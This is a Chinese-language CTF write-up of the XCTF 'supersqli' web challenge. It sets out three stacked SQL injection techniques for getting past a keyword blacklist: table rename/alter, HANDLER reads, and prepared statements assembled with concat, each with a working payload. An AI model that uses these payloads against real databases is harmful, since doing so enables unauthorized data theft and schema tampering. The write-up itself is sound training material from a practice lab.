攻防世界-Web進階-supersqli
很久之前做的題目了,現在拿到有點想不起來,記一下方法
其一:堆疊注入(rename+alter)
rename:修改表名
格式:rename tables 原表名 to 新表名;
alter:修改表名或欄位;
格式:修改表名:alter tables 原表名 rename 新表名;
修改欄位,如增刪改:
增:alter table 表名 add 要增加的欄位名 型別;刪:alter table 表名 drop 要刪除的欄位名;
改:alter table 表名 change 原欄位名 新欄位名 型別;
這題首先過濾了select|update|delete|drop|insert|where
①1';show tables;#
②1';show columns from words;#
③1';show columns from `1919810931114514`;# 注:以純數字為表名的,操作時要加反引號`
④1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
else:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` add `id` varchar(100);#
構造後的結構:
解釋:可以判斷出words是預設查詢的表,且inject的值是賦給了id,所以要將flag所在表名改為words,並且把flag欄位改為id,或者增加id欄位,最後構造一個萬能密碼
其二:handler查詢語句
基本語法:
通過HANDLER table_name OPEN開啟一張表,無返回結果,實際上我們在這裡聲明瞭一個名為table_name的控制代碼。
通過HANDLER table_name READ FIRST獲取控制代碼的第一行,通過READ NEXT依次獲取其它行。最後一行執行之後再執行NEXT會返回一個空的結果。
通過HANDLER table_name CLOSE來關閉開啟的控制代碼。
前面探索表名、欄位的過程就省略了
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#
適用:知道表,部分查詢被過濾,可以直接用handler查看錶的內容
其三:預編譯
詳情可以參考:https://www.cnblogs.com/micrari/p/7112781.html
這裡記一下簡單理解,所謂預編譯語句就是將反覆執行的SQL語句或者語句中相同的部分的值用佔位符(?)替代,可以視為將sql語句模板化或者說引數化
方法:
- PREPARE - 準備執行的宣告。
- EXECUTE - 執行由
PREPARE
語句定義的語句。 - 舉個栗子:
具體:
1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;#
解釋:set就不用解釋了,@後面的字串是自定義的前後一致即可,concat是拼接裡面的字串,如concat('str1','str2')結果就是str1str2,smt是自定義,前後一致即可